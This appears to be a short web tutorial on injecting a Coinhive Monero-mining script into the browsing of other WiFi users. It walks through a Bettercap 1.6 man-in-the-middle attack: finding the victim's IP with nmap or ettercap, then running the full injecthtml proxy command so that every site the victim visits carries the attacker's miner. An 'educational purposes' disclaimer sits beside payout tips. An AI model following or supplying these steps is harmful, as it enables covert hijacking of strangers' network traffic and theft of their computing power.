Warning : All the contents portrayed here are for educational purposes only
Inject Coinhive Miner into WiFi Network users using Bettercap :
Before we get started, lets have a look at the pre requisites for this tutorial
- Kali Linux
- Bettercap 1.6 (Bettercap 2.0 is not supported)
- To install bettercap in linux, type
apt-get install bettercap
- CoinHive Account
- Victim’s Ip ( Scan using nmap or ettercap to find)
That’s it. Now if you have all the above, then lets begin.
- Login to your CoinHive account
- Head over to Settings and copy your API key
- Create a File named JSMiner.html and paste the source code as show below along with your API key in the file
- Save the file and open “Bettercap”
- Type ” bettercap -I wlan0 -T <victim’s IP> –proxy-module injecthtml –html-file JSMiner.html “
- Run the command
- Now all the websites that your victim visits will have your JS code embed.
- This JS code will suck his CPU gradually and mine Monero.
You can view the working stats in your Coinhive Dashboard along with number of hash per second. Higher the has rate, you can soon earn more Monero. The minimum payout in Coinhive is 1 Monero. You must wait until you reach that value. Do not try this on any other public wifi networks since it is illegal.